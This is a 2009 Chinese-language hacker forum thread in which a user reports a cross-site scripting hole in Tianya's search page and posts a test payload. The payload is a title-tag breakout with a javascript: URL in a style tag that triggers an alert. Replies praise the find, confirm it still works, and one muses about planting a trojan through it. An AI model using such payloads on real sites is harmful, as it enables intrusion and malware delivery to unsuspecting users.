天涯社区出现跨站漏洞

4463 4
sunrise 2009-6-23 11:36:29 | 显示全部楼层 |阅读模式
漏洞页面:

http://search.tianya.cn/search.jsp




测试代码:
  1. </title><style>body{background-image:url(javascript:alert('SUNRISE'));}</style>
复制代码




测试截图:

1.jpg
TY_印记 2009-6-23 12:52:07 | 显示全部楼层
沙发   我崇拜你~~
HUC-Tsingx 2009-6-24 19:57:09 | 显示全部楼层
如果在天涯上挂ms马,那么......
欢迎所有红盟的兄弟们批评指正,我一定做到有求必应,积极的响应大家的要求意见,尽最大努力为红盟的发展做出贡献!
silence 2009-6-25 13:48:42 | 显示全部楼层
崇拜你&zero
维护祖国尊严  爱我中华 强我中华 耀我中华
午夜做土匪 2009-6-26 09:45:15 | 显示全部楼层
26号了,我也测试下,还存在!
实力打造经典.王者绝非偶然,哥的魅力永远流传!不要迷恋哥..哥我只是个传说!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行